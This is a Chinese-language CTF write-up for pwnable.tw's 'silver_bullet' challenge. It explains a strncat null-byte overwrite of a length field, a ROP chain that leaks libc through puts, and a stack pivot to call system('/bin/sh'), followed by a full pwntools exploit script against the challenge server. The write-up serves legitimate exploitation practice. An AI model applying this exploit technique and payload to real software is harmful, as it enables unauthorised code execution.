pwnable.tw-silver_bullet

silver_bullet

基本逻辑

依旧是菜单类型的小游戏:

menu

这道题就是create一个silver bullet(简称sb),输入的字符串长度就是sb的能量,power up会用strncat连接上新输入的字符串,仍旧是长度是能量,然后能量达到一定值时beat ,然后返回。

漏洞

power_up函数中,用到了strncat,而该函数会在末尾主动加入\0。这个操作有机会覆盖s[48],即记录字符串长度的最低位。

漏洞所在--power_up函数

漏洞利用

考虑到power_up只在s[48]<=47时起作用,可以分两次操作:先create一个47长度的sb,然后power_up 1,通过strncat,\0就会覆盖s[48],再计算长度时就为0+1=1

这样就可以继续再写47个字符了,并且是从s[48]之后开始写。

继续写的字符可以伪造ROP,当然为了返回,应该首先执行beat函数,将s[48]的之后三位写成FF FF FF,这样当以int类型读取字符串大小时(即从s[48]开始,长度为4的int),大小为FFFFFF01,就可以利用beat成功返回了。

system函数地址泄露:通过puts输出函数地址,从而泄露system的地址。因为可以继续写47个字符,将有机会覆写main的返回地址。将main的返回地址写为puts@plt,并在此处构造ROP结构,称为ROP1,puts函数的参数为puts@got,即读出puts的实际地址,进而泄露system地址。由于ROP1中不能继续构造新的ROP,因此将返回地址位置写为一个gadget。

puts函数的ROP1结构

system函数调用:

1)写入system函数–read_input:上一步只是泄露了system的地址,并未写入到栈结构中,因此需要另一次机会将system地址写入,程序中提供的read_input函数正好可以实现这个功能。这就要求从puts函数返回之后应该继续执行read_input函数,找到一个pop|retn 的gadget作为ROP1 的返回地址,执行时先pop出puts@got,再返回read_input。

接着构造一个read_input函数的ROP结构,称为ROP2。由于栈溢出只能再写47个字节,再写一个system的ROP结构不够用,因此考虑在另一块空间继续写入system的ROP结构。这个空间可以选在BSS段之后的地址,起名为fake_addr。read_input的第一个参数为fake_addr,第二个参数为大小,返回地址争取直接跳到fake_addr处。

在覆写main函数返回地址时将ebp覆写为fake_addr,之后保证ebp不变,在ROP2的返回地址处写入leave|retn的gadget使得 leave时 esp = ebp = fake_addr,pop ebp,然后返回执行system函数。

read_input函数的ROP2

2)system函数的ROP:先是一个随意的值用于pop ebp,接着写入system地址和参数。

system函数的ROP3结构

整体的栈结构如下:

整体栈结构

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.log_level='debug'

debug = 0
if debug:
p = process('./silver_bullet')
libc = ELF('./libc.so')
else:
p = remote('chall.pwnable.tw',10103)
libc = ELF('./libc_32.so.6')

d = 0
#gdb.attach(p,'b*0x80485eb')
# create size:47
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Give me your description of bullet :')
payload1 ='a' * 47
p.send(payload1)

# overflow size:1
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Give me your another description of bullet :')
payload2 ='b'
p.send(payload2)

#overwrite stack
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Give me your another description of bullet :')

puts_plt = 0x80484a8
puts_got = 0x804afdc
fake_addr = 0x804b410

pr_addr = 0x08048475
lr_addr = 0x8048a18
read_input = 0x80485eb
payload3 = '\xff' * 3 + p32(fake_addr) + p32(puts_plt) + p32(pr_addr) + p32(puts_got) + p32(read_input) + p32(lr_addr) + p32(fake_addr) + p32(0x1011)

p.send(payload3)
#beat and execute
p.recvuntil('Your choice :')
if d:
gdb.attach(p)
p.sendline('3')
p.recvuntil('Oh ! You win !!\n')
puts_addr = u32(p.recv(4))
system_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
print 'puts_addr: 0x%x' %puts_addr

#read_input content
payload = p32(fake_addr) + p32(system_addr) + p32(0xdeadbeef) + p32(fake_addr + 0x10) + '/bin/sh'
p.send(payload)

p.interactive()